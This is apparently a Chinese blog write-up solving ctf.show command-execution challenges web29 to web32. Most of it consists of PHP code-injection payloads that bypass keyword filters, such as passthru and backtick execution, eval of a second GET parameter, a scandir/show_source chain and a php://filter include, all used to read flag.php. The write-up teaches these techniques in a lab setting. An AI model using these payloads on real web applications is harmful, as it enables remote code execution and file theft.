ctf.show之命令执行

web29 : 命令执行,需要严格的过滤

分析可知: 

1.传入的是一个参数,名为c

2. 根据函数的性质,参数中是不可以有"flag",大小写都不可以有。

3. 将这个名为c的参数 按php语言进行解析 

以上三个均为重点 ,这个很关键 ,

1、如?c=system("ls");

则相当于在执行php函数 system()

结果就是可以查看当前的目录中的文件

得到的结果是 flag.php 和 index.php (此题确实是有这两个文件的),如:

因此同理,在这里我们可以直接用?c=system("tac f*.php"); 来获取到这个文件,并得到flag。

web30 :命令执行,需要严格的过滤

解法思路 : 题目过滤了flag,system,php等,我们就可以考虑用什么来替代system执行系统命令,主要有passthru等 

因此,解法1:  c=passthru("tac fl*");  (绕过)

           解法2:  c=echo(`ls`);  (反字节符配合echo)

           解法3:  c=eval($_GET[1]);&1=system("tac%20flag.php");

如下图:   (即可得到flag);

web31 :  命令执行,需要严格的过滤 

分析: 此题比上一题多过滤了"cat sort shell"以及,点,空格,单引号这些字符串,但我们可以用上题的第三种方法,即:

         c=eval($_GET[1]);&1=system("tac%20flag.php");

当然,此题的wp作者也给了一个其他解决方案:

c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web32 : 命令执行,需要严格的过滤 

题解: 

        解法1: 文件包含 

                url/c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

             

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值